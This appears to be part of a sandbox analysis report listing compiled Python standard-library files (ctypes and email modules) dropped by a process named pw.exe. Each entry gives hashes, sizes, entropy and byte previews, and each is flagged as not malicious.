SSDEEP:	192:4+G6rCXBDrl73zbXCL3mm0LGuZ7Iv0nwMXwDRi4qzDj:4lCiDp7Do0LGutnwMXExqzDj
MD5:	1312EA34C92E63A2E4D6F0D66048C835
SHA1:	EA31C3AEDC350E774286665B704CBECF15709742
SHA-256:	7BD74A1A52822210359548696483DD9BE8F9F009F030AEE4BD046718D146A567
SHA-512:	AAFA210109E02CA07C7DB2609B3DC230355874E1C2C624A25D2B80D054C3DBCB2862C3D3BAC35BED3FB84FDC3333BF2E935A276470D711DFB53FA399204A4329
Malicious:	false
Preview:	o.........Sg.7.......................@...s@...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.e.j.d.k.r"d.d...Z.d.d...Z.d.d...Z.noe.j.d.k.r7e.j.d.k.r7d.d.l.m.Z...d.d...Z.nZe.j...d...rDd.d.l.m.Z...nMe.j.d.k.r.d.d.l.Z.d.d.l.Z.d.d...Z.d.d...Z.e.j.d.k.rcd.d...Z.n.d.d...Z.e.j...d...rvd.d...Z.d.d...Z.n.e.j.d.k.r.d.d...Z.d'd.d...Z.n.d.d ..Z.d!d"..Z.d#d...Z.d$d%..Z.e.d&k.r.e.....d.S.d.S.)(.....N..ntc....................C...s....d.}.t.j...\|...}.\|.d.k.r.d.S.\|.t.\|.....}.t.j.\|.d.......d.d...\.}.}.t.\|.d.d.......d...}.\|.d.k.r3\|.d.7.}.t.\|.d.d.......d...}.\|.d.k.rCd.}.\|.d.k.rK\|.\|...S.d.S.).z.Return the version of MSVC that was used to build Python... For Python 2.3 and up, the version number is included in. sys.version. For earlier versions, assume the compiler is MSVC 6.. z.MSC v...........N.. .........................g......$@r....)...sys..version..find..len..split..int)...prefix..i..s..restZ.majorVersionZ.minorVersion..r..... C:\recover\pw\lib\ctypes\util.py.._get_build_version....s...........

C:\recover\pw\lib\ctypes\pycache\wintypes.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4856
Entropy (8bit):	5.535457551602611
Encrypted:	false
SSDEEP:	96:An7SgQvVTrUE/2DHdwyeOXd97wUah1VWyGPTYPrVgI+AxROhOFPN:An6VTAE/2DH+yZXjw7h1VWJSZe2N
MD5:	03D3FCD58383350EBF9363D8C0AF41EF
SHA1:	72D4F018F5AF633A3D80BA897E4B39CABAB8E4B2
SHA-256:	415FE6843B9D98CA4318F19BB3A9B8BD35973DE8B9ED09BC6F9E26BC0BACB333
SHA-512:	0A6D7414CEA919EC160A4454526E910B9030FCBF96A223F45F6E4A021BD47393AA1BBCF57688986B5934D93B61DC2D321DC1DDC1976501542A007358737FEAC8
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.Z.e.j.Z.G.d.d...d.e.j...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j...Z.Z.e.j ..Z!Z"e.j#..Z$..Z%Z&e.j#..Z'Z(e.j)..Z*Z+e.j,..Z-Z.e../e.j...e../e.j,..k.rle.j.Z0e.j.Z1n.e../e.j...e../e.j,..k.r~e.j Z0e.j.Z1e.Z2e.Z3e.Z4e.Z5e.Z6e.Z7e.j,Z8e8Z9e8Z:e8Z;e8Z<e8Z=e8Z>e8Z?e8Z@e8ZAe8ZBe8ZCe8ZDe8ZEe8ZFe8ZGe8ZHe8ZIe8ZJe8ZKe8ZLe8ZMe8ZNe8ZOe8ZPe8ZQe8ZRe8ZSe8ZTe8ZUe8ZVe8ZWG.d.d...d.e.jX..ZYeY..ZZ..Z[Z\G.d.d...d.e.jX..Z]e]Z^G.d.d...d.e.jX..Z_G.d.d...d.e.jX..Z`e`..Za..ZbZcG.d.d...d.e.jX..Zded..ZeZfd.d...ZgG.d.d...d.e.jX..ZhehZiG.d.d...d.e.jX..ZjejZkd.ZlG.d.d...d.e.jX..ZmG.d.d...d.e.jX..Zne..oe.....ZpZqe..oe...Zre..oe.....ZsZte..oe...Zue..oe4..Zve..oe.....ZwZxe..oeh....ZyZze..oe...Z{e..oe8....Z\|Z}e..oeG..Z~e..oeH..Z.e..oe.....Z.Z.e..oe...Z.e..oe7..Z.e..oe.....Z.Z.e..oej....Z.Z.e..oe`....Z.Z.e..oec..Z.e..oeY....Z.Z.e..oe\....Z.Z.e..oeV..Z.e..oe...Z.e..oed....Z.Z.e..oef....Z.Z.e..oe^..Z.e..oe.....Z.Z.e..oe"..Z.e..o

C:\recover\pw\lib\email\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	4.868793600663458
Encrypted:	false
SSDEEP:	24:xwQTrff0h6aHqCZ9EwkaLt/bsTkiC5ckUzzt/bih5Nz54t/biuyzOQqt/bijsHt:xwQTrfch6OD9tLNoohmNs4NMqNP
MD5:	91665B3B27C9C6559E17D1AC75005AAD
SHA1:	12DD99CC2C0090E1FD67EBADFF349F38B0E32D5B
SHA-256:	EB72CFA0D1058C63DEF42131C3C7E59071D7EBD1F28FC107906B940616B8C4D9
SHA-512:	3791121EA04F2B5082960D5E976E1BFA90DE356FE66817C2B5B337BA3FA92DD6E3E1F45E1580D2CECC148EF496FCCD910C246735733207B8CA9F0F4C67B263BB
Malicious:	false
Preview:	o.........Sg$........................@...s0...d.Z.g.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z?A package for parsing, handling, and generating email messages.).Z.base64mime..charsetZ.encoders..errorsZ.feedparser..generator..headerZ.iterators..message..message_from_file..message_from_binary_file..message_from_string..message_from_bytesZ.mime..parserZ.quoprimime..utilsc....................O.... ...d.d.l.m.}...\|.\|.i.\|.......\|...S.).zvParse a string into a Message object model... Optional _class and strict are passed to the Parser constructor.. .........Parser)...email.parserr....Z.parsestr)...s..args..kwsr......r.....#C:\recover\pw\lib\email\__init__.pyr.... ............r....c....................O...r....).z\|Parse a bytes string into a Message object model... Optional _class and strict are passed to the Parser constructor.. r........BytesParser).r....r....Z.parsebytes).r....r....r....r....r....r....r....r....(...r....r....c....................O...r....).z.Read a file and pa

C:\recover\pw\lib\email\pycache\_encoded_words.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5738
Entropy (8bit):	5.409222875905862
Encrypted:	false
SSDEEP:	96:cOU9w0nwhN4XpaTzT797ta3T8qCpjjRtfklxvvp/qLfrg8NNOGbM//qH1uqs:OCN0UHy8h7fOvh/WgGN6XqHkqs
MD5:	24F62FDB94BCF4A89D88F34BA92FB24B
SHA1:	4A00AB7C04E6516BD82D2C74D022C87B8B260871
SHA-256:	CCA146ED8A0CBAD13731D59474613C751B4D63372B9BD4CAF09BD00EFB6F9728
SHA-512:	354A9719A3D827D8ED6F1D8C1F0ABDF517E562D53C0D3E937DFFB4479704DCECBE3A4241B5B866340A26F23AB3D9FAE04704CDD2BB42F691603FA011B29A91B1
Malicious:	false
Preview:	o.........SgF".......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.e...e...d...j.d.d.....Z.d.d...Z.G.d.d...d.e...Z.e...Z.d.e.e.d...<.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.e.e.d...Z.d.d...Z.e.e.d...Z.e.e.d...Z.d d.d...Z.d.S.)!z. Routines for manipulating RFC2047 encoded words...This is currently a package-private API, but will be considered for promotion.to a public API if there is demand........N)...ascii_letters..digits)...errors)...decode_q..encode_q..decode_b..encode_b..len_q..len_b..decode..encodes....=([a-fA-F0-9]{2})c....................C...s....t...\|...d.........S.).N.....)...bytes..fromhex..groupr....)...m..r.....)C:\recover\pw\lib\email\_encoded_words.py..<lambda>A...s......r....c....................C...s....\|...d.d...}.t.\|...g.f.S.).N....._..... )...replace.._q_byte_subber)...encodedr....r....r....r....C...s........r....c....................@...s,...e.Z.d.Z.d.e...d.....e...d.....Z.d.d...Z.d.S.)..._QByteMaps....-!*+/..asciic

C:\recover\pw\lib\email\pycache\_parseaddr.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	12510
Entropy (8bit):	5.364325479334311
Encrypted:	false
SSDEEP:	192:T8lfoGBPanIUGehShaPvqfaXJcCMr7UaZbWMFltbgKBk0:IlgOMGePP+7Ua0MpG0
MD5:	B92C66A88C41D6DA0DF50D31F73C687A
SHA1:	D78935F5477F6B2E7C88C2837FBF6DBF8EFA11F3
SHA-256:	23F8B664DE6A5C066C259DE551307B93ECC6658A1DC4765A93066B9698986109
SHA-512:	1797C52BEA4AF982C090FFB539DCF1041DE350ADF99E1BE99A47A9D1CE51D053DCE7713A7E603EAD72070135D4C8A20BB2A4976BB75C53F4FE1BC98AC7F315B4
Malicious:	false
Preview:	o.........Sg.G.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.Z.d.Z.d.Z.g.d...Z.g.d...Z.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).zcEmail address parsing code...Lifted directly from rfc822.py. This should eventually be rewritten..)...mktime_tz..parsedate..parsedate_tz..quote.....N.. ..z., ).Z.janZ.febZ.marZ.apr..mayZ.junZ.julZ.aug..sep..octZ.novZ.decZ.januaryZ.februaryZ.marchZ.aprilr....Z.juneZ.julyZ.augustZ.septemberZ.octoberZ.novemberZ.december).Z.monZ.tueZ.wedZ.thuZ.friZ.satZ.sunip...i....i....i....iD...i....).Z.UTZ.UTC..GMT..ZZ.ASTZ.ADTZ.ESTZ.EDTZ.CSTZ.CDTZ.MSTZ.MDTZ.PSTZ.PDTc....................C...s,...t.\|...}.\|.s.d.S.\|.d...d.u.r.d.\|.d.<.t.\|...S.).zQConvert a date string to a time tuple... Accounts for military timezones.. N.....r....)..._parsedate_tz..tuple)...data..res..r.....%C:\recover\pw\lib\email\_parseaddr.pyr....-...s................r....c....................C...s....\|.s.d.S.\|.....}.\|

C:\recover\pw\lib\email\pycache\_policybase.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	14780
Entropy (8bit):	5.050097925310925
Encrypted:	false
SSDEEP:	192:ybtx+bovk6H2JvwhY1jaF7AyJAeb7AqDNF/EIRDAysM1Jd/GaOkdlL7+WpSla/AB:ybtOoM6H8vPiJAqVDApM1jeaOMh7G5rl
MD5:	4CBFD296D1423052AAF239E2EA81A69C
SHA1:	6EF08D26A003BA95CEC8D0C2363FD7A1DBDD52A5
SHA-256:	4EF6DA827326CFC7BE40CEC50C9D25FAA656081F6539206537B4018456EFBE86
SHA-512:	CA4EB44A92C3E4A43582F3394472866A511DB0BB9AF8E58E408580AE2E2F2043AF43EFBE8E77A9B450CC63FF767C52A231D639A6FE54BEEB873231A718A44BC5
Malicious:	false
Preview:	o.........SgW<.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.d.d...Z.d.d...Z.G.d.d...d.e.e.j.d...Z.e.G.d.d...d.e.....Z.e...Z.d.S.).zwPolicy framework for the email package...Allows fine grained feature control of how the package parses and emits data.......N)...header)...charset)..._has_surrogates)...Policy..Compat32..compat32c........................s@...e.Z.d.Z.d.Z...f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.....Z.S.)..._PolicyBasea....Policy Object basic framework... This class is useless unless subclassed. A subclass should define. class attributes with defaults for any values that are to be. managed by the Policy object. The constructor will then allow. non-default values to be set for these attributes at instance. creation time. The instance will be callable, taking these same. attributes keyword arguments, and returning a new instance. identical to the called instance except for those values changed.

C:\recover\pw\lib\email\pycache\base64mime.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3238
Entropy (8bit):	5.367369396951525
Encrypted:	false
SSDEEP:	96:mFLsbReNFxrj2QSaR+Eiig25FNV78ojIu:8Lsle3nhjn5F5
MD5:	71BDC5DE1F65B058AD7718111F0B8EF0
SHA1:	3C56C8F0BDE9EEE3C6EA683002BFE09B1EA000FC
SHA-256:	686F864201A304CC7FE20198112E3B43B28BE3F32BC62C7B11DAF9AB95329703
SHA-512:	8A2561E05DDD6F5F366A870FE0056FA334B908C62A41C5BAE83399C8CAA32ED9AADF52D59AC69E2BD93ACE47074A43D3672658A8602FF953B3AB4578F9DD6B54
Malicious:	false
Preview:	o.........Sg^........................@...sl...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d.d...Z.d.e.f.d.d...Z.d.d...Z.e.Z.e.Z.d.S.).a....Base64 content transfer encoding per RFCs 2045-2047...This module handles the content transfer encoding method defined in RFC 2045.to encode arbitrary 8-bit data using the three 8-bit bytes in four 7-bit.characters encoding known as Base64...It is used in the MIME standards for email to attach images, audio, and text.using some 8-bit character sets to messages...This module provides an interface to encode and decode both headers and bodies.with Base64 encoding...RFC 2045 defines a method for including character set information in an.`encoded-word' in a header. This method is commonly used for 8-bit real names.in To:, From:, Cc:, etc. fields, as well as Subject: lines...This module does not do the line wrapping or end-of-line character conversion.necessary for proper internationalized headers; it only does dumb encoding and.dec

C:\recover\pw\lib\email\pycache\charset.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	11573
Entropy (8bit):	5.320966388034926
Encrypted:	false
SSDEEP:	192:671q2Qm6z+wYlW28DGmahcQx6Pk/pO5oU/5Ob9WJ//abe8+xGb/+w:C1ZRS+ZE2yGRz/p2/5ObDbv+w
MD5:	E4694B2E878DD1BFDD2FD8CFEAF594A7
SHA1:	4CC21BCA83D0CF0AE74F78C8BDC0767C9B1FB8E7
SHA-256:	596DFE6670995C4CC35400480730BA8231BAF5298D529E99CF8B5F213D9C3D0D
SHA-512:	29F996310DED42F23053F7493F88EFFF1900265C79363CEDB3FF9A5B0C041E0263C6F99830149D1E6D43D877DE272DEB6564C0153784ADF16E97D680F4704C85
Malicious:	false
Preview:	o.........Sg\|D.......................@...s....g.d...Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.e.e.d.f...d.d...d.e.e.d.f...d.e.e.d.f...d.e.d.d.f...d.e.d.d.f...e.d.d.f.e.e.d.f.e.e.d.f.d ....Z.i.d!d...d"d...d#d...d$d...d%d...d&d...d'd...d(d...d)d...d*d...d+d...d,d...d-d...d.d...d/d...d0d...d1d...d.d.d.d2d.d3d.d4....Z.d5d6d.d7..Z.d.d8d9..Z.d:d;..Z.d<d=..Z.d>d?..Z.G.d@dA..dA..Z.d.S.)B)...Charset..add_alias..add_charset..add_codec.....)...partialN)...errors)...encode_7or8bit......................us-asciiz.unknown-8bit..z.iso-8859-1z.iso-8859-2z.iso-8859-3z.iso-8859-4z.iso-8859-9z.iso-8859-10z.iso-8859-13z.iso-8859-14z.iso-8859-15z.iso-8859-16z.windows-1252Z.viscii).NNN..big5..gb2312z.euc-jp..iso-2022-jp..shift_jis..utf-8).r....z.koi8-rr......latin_1z.latin-1Z.latin_2z.latin-2Z.latin_3z.latin-3Z.latin_4z.latin-4Z.latin_

C:\recover\pw\lib\email\pycache\encoders.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1625
Entropy (8bit):	5.057951673783016
Encrypted:	false
SSDEEP:	24:hy7gaTT5rqICrNt7xaWuNXwQFd9EGZvPJ5rJxEwkJpDkvyz3:h/9ht7gWEgQFYSvrEDkvyz3
MD5:	8A5615A0755F1690869324B3ACD7348B
SHA1:	5E8CBB51055289A63909CEE801E53877A96E7254
SHA-256:	4D544DBEA08956D37B1203D18F89690C5B3A0FB4A936A4CD435E20BFEBEF7D8D
SHA-512:	677C13D53CB2011BE8C3F459F5D0A478950B1B27EDC8A7E4D788180346F22F368DBCFB00F63C30227B1DD4514DE9583EA61145B4F0C1AED7C08120EEF3513DD9
Malicious:	false
Preview:	o.........Sg?........................@...sP...d.Z.g.d...Z.d.d.l.m.Z...d.d.l.m.Z...d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z Encodings and related functions.)...encode_7or8bit..encode_base64..encode_noop..encode_quopri.....)...encodebytes)...encodestringc....................C...s....t.\|.d.d...}.\|...d.d...S.).NT).Z.quotetabs..... s....=20)..._encodestring..replace)...s..enc..r.....#C:\recover\pw\lib\email\encoders.py.._qencode....s........r....c....................C...s0...\|.j.d.d...}.t.t.\|...d...}.\|...\|.....d.\|.d.<.d.S.).zlEncode the message's payload in Base64... Also, add an appropriate Content-Transfer-Encoding header.. T....decode..ascii..base64..Content-Transfer-EncodingN)...get_payload..str.._bencode..set_payload....msg..origZ.encdatar....r....r....r........s............r....c....................C...s*...\|.j.d.d...}.t.\|...}.\|...\|.....d.\|.d.<.d.S.).zvEncode the message's payload in quoted-printable... Also, add an appropriate Content-Transfer-Encoding header.. Tr.

C:\recover\pw\lib\email\pycache\errors.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5700
Entropy (8bit):	4.725487009495141
Encrypted:	false
SSDEEP:	96:luYI+E7YT1ZnQ6ELjeDJ87gw1aXJE6iqFoARF3IloR/Qg1pDX4Qmbsru3m:EYTEOdQJ2DJ87gtXJniqn3IeWQCQmbsz
MD5:	A317A938EF8B01487E63C811D136BD4C
SHA1:	7C095BC9946C56B91FF0F82DA544ADE4B17551E6
SHA-256:	80EB260C432788E2A45C56E132E436969606FA56D2A59EE4F9AAC5E5BE29F231
SHA-512:	E675295D3C6176A25AED6867B01535E4FADEA262896C3ACE4380292051080FAB361AC826EC2909EDEAEDD67BC63231BDC24DF77EA1AFD06CCCD0969824B9E67F
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&e...Z.G.d'd(..d(e...Z.G.d)d..de...Z.G.d+d,..d,e...Z.G.d-d...d.e...Z.G.d/d0..d0e...Z.G.d1d2..d2e...Z.G.d3d4..d4e...Z.d5S.)6z email package exception classes.c....................@........e.Z.d.Z.d.Z.d.S.)...MessageErrorz+Base class for errors in the email package.N....__name__..__module__..__qualname__..__doc__..r....r.....!C:\recover\pw\lib\email\errors.pyr.................r....c....................@...r....)...MessageParseErrorz&Base class for message parsing errors.Nr....r....r....r....r....r........r....r....c....................@...r....)...HeaderParseErrorz.Error while parsing headers.Nr....r....r....r....r....r........r....r....c.

C:\recover\pw\lib\email\pycache\feedparser.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10576
Entropy (8bit):	5.442164547555558
Encrypted:	false
SSDEEP:	192:AQt3lEm30KYgjRm95weZd6S3DFKTbefqH0P302hjD8gBZ5:7tVEO0KYr5weZJ3DFSbei+029D8wZ5
MD5:	DB46C9FF58AAF4BB1E28B85C5D3396C0
SHA1:	A7F74A9E82EBDB4B10E2587562C1FB86E5646FC1
SHA-256:	016003F6C7272247F32EC93D255DB3EF575842400A6CF6D2CF9626F2B7D258BF
SHA-512:	E3EE4F29CAEC7791C0E91FC760ED52F998A5492B274C31E769F2AD5D77C3624CA1DEA2B5E469CA6CDB28E8C2D400C7311EE0B3AD07885696D52444D75B571038
Malicious:	false
Preview:	o.........Sg.[.......................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...e...d...Z.e...d...Z.e...d...Z.e...d...Z.e...d...Z.d.Z.d.Z.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).a....FeedParser - An email feed parser...The feed parser implements an interface for incrementally parsing an email.message, line by line. This has advantages for certain applications, such as.those reading email messages off a socket...FeedParser.feed() is the primary interface for pushing new data into the.parser. It returns when there's nothing more it can do with the available.data. When you have no more data to push into the parser, call .close()..This completes the parsing and returns the root message object...The other advantage of this parser is that it will never raise a parsing.exception. Instead, when it finds something unexpected, it adds a 'defect' to.the current message. Defects are just instances that live on the message.object's .defects a

C:\recover\pw\lib\email\pycache\header.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	16460
Entropy (8bit):	5.353129434028576
Encrypted:	false
SSDEEP:	384:xEojVd4yA82fSNCT4HPb/bl36D/7FCjLjdiJfiUj4GyE67h7bh:xEX/8SScT4vb16877bh
MD5:	0CC18E38E0C2BD0BBCF29C528A3ABFC7
SHA1:	7CE6E078AA061998FC9ED97DA1EDE64DA57F0CF0
SHA-256:	6CA5C0E3E068E3C815B5A88A43B9FB6F8BF5D44474EF8600295117C163F8A006
SHA-512:	A04F4EC5F6BDAEE4C4E59AE677A5C842051D58C9FDE9BC19F2E215CEE66B4F68F96411D17C3F719A252C96AE3DE0B7FC67985F97A81DD1A681FA5A74DFCD20FE
Malicious:	false
Preview:	o.........Sgh`.......................@...s....d.Z.g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.e.d...Z.e.d...Z.e...d.e.j.e.j.B...Z.e...d...Z.e...d...Z.e.j.j.Z.d.d...Z.....d.d.d...Z.G.d.d...d...Z.G.d.d...d...Z G.d.d...d.e!..Z"d.S.).z+Header encoding and decoding functionality.)...Header..decode_header..make_header.....N)...HeaderParseError)...charset..... ..... z. ...N...z. ...us-asciiz.utf-8ai.... =\? # literal =?. (?P<charset>[^?]?) # non-greedy up to the next ? is the charset. \? # literal ?. (?P<encoding>[qQbB]) # either a "q" or a "b", case insensitive. \? # literal ?. (?P<encoded>.?) # non-greedy up to the next ?= is the encoded string. \?= # literal ?=. z.[\041-\176]+:$z.\n[^ \t]+:c....................C...s....t.\|.d...r.d.d...\|.j.D...S.t...\|...s.\|.d.f.g.S.g.}.\|.....D.]A}.t...\|...}.d.}.\|.r^\|...d...}.\|.r5\|.....}.d.}.\|.r?\|...\|.d.d.f.

C:\recover\pw\lib\email\pycache\iterators.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1966
Entropy (8bit):	5.315673183631412
Encrypted:	false
SSDEEP:	48:ahA49ILWjxFtOzvfOoUFQLfMbhoJ9t1eYG1lGLG+hEl9:arIWd65UFsMbhOQGTEl9
MD5:	A7CC4E1BE34207C6B4054EC17B2C5C48
SHA1:	0E6528F86A207773E8F01A703EAA0177B223609D
SHA-256:	751FD35040C5332B1B85D03D00615DD8CF134CA1C7C8505D0D6739D802DF4C7C
SHA-512:	2EF93A8E7AD2E0F7CDA77F7F318A8B38D26FBE63D9F397A54AFB25DDFDF3D043D78D649493A234DF912DF9F0F9740185FDA5DA1572C779BE7BFCCB6D8F3BDEBB
Malicious:	false
Preview:	o.........Sg.........................@...sJ...d.Z.g.d...Z.d.d.l.Z.d.d.l.m.Z...d.d...Z.d.d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).z1Various types of useful iterators and generators.)...body_line_iterator..typed_subpart_iterator..walk.....N)...StringIOc....................c...s4.....\|.V...\|.....r.\|.....D.].}.\|.....E.d.H...q.d.S.d.S.).z.Walk over the message tree, yielding each subpart... The walk is performed in depth-first order. This method is a. generator.. N)...is_multipart..get_payloadr....)...self..subpart..r.....$C:\recover\pw\lib\email\iterators.pyr........s..................r....Fc....................c...s8.....\|.....D.].}.\|.j.\|.d...}.t.\|.t...r.t.\|...E.d.H...q.d.S.).z.Iterate over the parts, returning string payloads line-by-line... Optional decode (default False) is passed through to .get_payload().. )...decodeN).r....r......isinstance..strr....)...msgr....r......payloadr....r....r....r...."...s..................r......textc....................c...s:.....\|.....D.].}.\|.

C:\recover\pw\lib\email\pycache\message.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	37802
Entropy (8bit):	5.294745693943573
Encrypted:	false
SSDEEP:	768:G3vKre029TBAXUyI2UBNqLYn1cT93o29AevBOi/GTs:MvN029TSUr26N+OaT9YmAWSs
MD5:	A2342565DAC3F4FF621AFC1CF5328417
SHA1:	9F319978CB252DDF49E3BCBFD5138E3DBD6DB93E
SHA-256:	3C95804A41D88A8E90346D4CFB8B094706D74FE98A841D07BF44B3FA464CF79B
SHA-512:	2127157BB7BBF843EA4823BAC5876EC4BB031315CC728F2F976BA4B53AAF642053F92AE3EC0680F38BFBAF45E75EAEEB362F45BE1C05276708E82E2B58A9159D
Malicious:	false
Preview:	o.........Sgi........................@...s....d.Z.d.d.g.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...e.j.Z.d.Z.e...d...Z.d.d...Z.d.d.d...Z.d.d...Z.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z8Basic message object for the email package object model...Message..EmailMessage.....N)...BytesIO..StringIO)...utils)...errors)...Policy..compat32....charset)...decode_bz.; z.[ <>@,;:\\"/\[\]\?=]c....................C...s4...t.\|.....d...\.}.}.}.\|.s.\|.....d.f.S.\|.....\|.....f.S.).N..;)...str..partition..strip)...param..a..sep..b..r....."C:\recover\pw\lib\email\message.py.._splitparam....s............r....Tc....................C...s....\|.d.u.r^t.\|...d.k.r^t.\|.t...r&\|.d.7.}.t...\|.d...\|.d...\|.d.....}.d.\|.\|.f...S.z.\|...d.....W.n...t.yG......\|.d.7.}.t...\|.d.d...}.d.\|.\|.f.....Y.S.w.\|.sOt...\|...rXd.\|.t...\|...f...S.d.\|.\|.f...S.\|.S.).a~...Convenience function to format and return a key=value pair... This will quote the value

C:\recover\pw\lib\email\pycache\parser.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5671
Entropy (8bit):	4.9115914966886915
Encrypted:	false
SSDEEP:	96:5/3XAtz7ue6RPlVEnTSi7sebc9++etT2FZXUVt3NzMb:dgtz7+RPETSi7sebc9M2LXUVt3NzMb
MD5:	DB73F6662B368BA6ED4689BDBD262332
SHA1:	E54C7F9F3A1E49150C5B3C04639EC2E1A11E22FB
SHA-256:	DAD1A0D3311806081A31003D46FAC3E3C0C94B6143E18F6EB83906148348BBA5
SHA-512:	3AB57426EE8E02F0C93E78828A2B7DD9E57931AB3AB37EB1F1608EE911664B4920FE10F8769B1E26FE5D6E2FCA363724B8718B4AB08E8C7CA0FC3E71953A8AA7
Malicious:	false
Preview:	o.........Sg4........................@...sx...d.Z.g.d...Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.d.S.).z-A parser of RFC 2822 and MIME email messages.)...Parser..HeaderParser..BytesParser..BytesHeaderParser..FeedParser..BytesFeedParser.....)...StringIO..TextIOWrapper).r....r....)...compat32c....................@...s0...e.Z.d.Z.d.e.d...d.d...Z.d.d.d...Z.d.d.d...Z.d.S.).r....N....policyc....................C...s....\|.\|._.\|.\|._.d.S.).a....Parser of RFC 2822 and MIME email messages... Creates an in-memory object tree representing the email message, which. can then be manipulated and turned over to a Generator to return the. textual representation of the message... The string must be formatted as a block of RFC 2822 headers and header. continuation lines, optionally preceded by a `Unix-from' header. The. header block is terminated either by the end of the string or by a. blank

C:\recover\pw\lib\email\pycache\quoprimime.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	7621
Entropy (8bit):	5.500010046420633
Encrypted:	false
SSDEEP:	96:aLJLyjCY2rlgeRk/SEN4iIf3HOxK4RVZtpes7tOcQekFUyq2n1/ugYu9eYSAd7zt:2JYUGQ2SEy27RlpsyyFhugYQeYSkJcs
MD5:	621337155EFEEAEC741E2FACC494E31B
SHA1:	B934A7F491278A16F036E7ECBDA7673A7725C48A
SHA-256:	9750D8607B4C0B755A3824498062D4BDD32EA0C14878BC308A454074E1EB8DD2
SHA-512:	9F7742C40CE814636BA27E78672E4106F2A5E848E77D3DB4C2ED8E206FB92BE51888CFB1AD12C44E75819C7D8767026273C62ECD78276BE94283944179D3BE9D
Malicious:	false
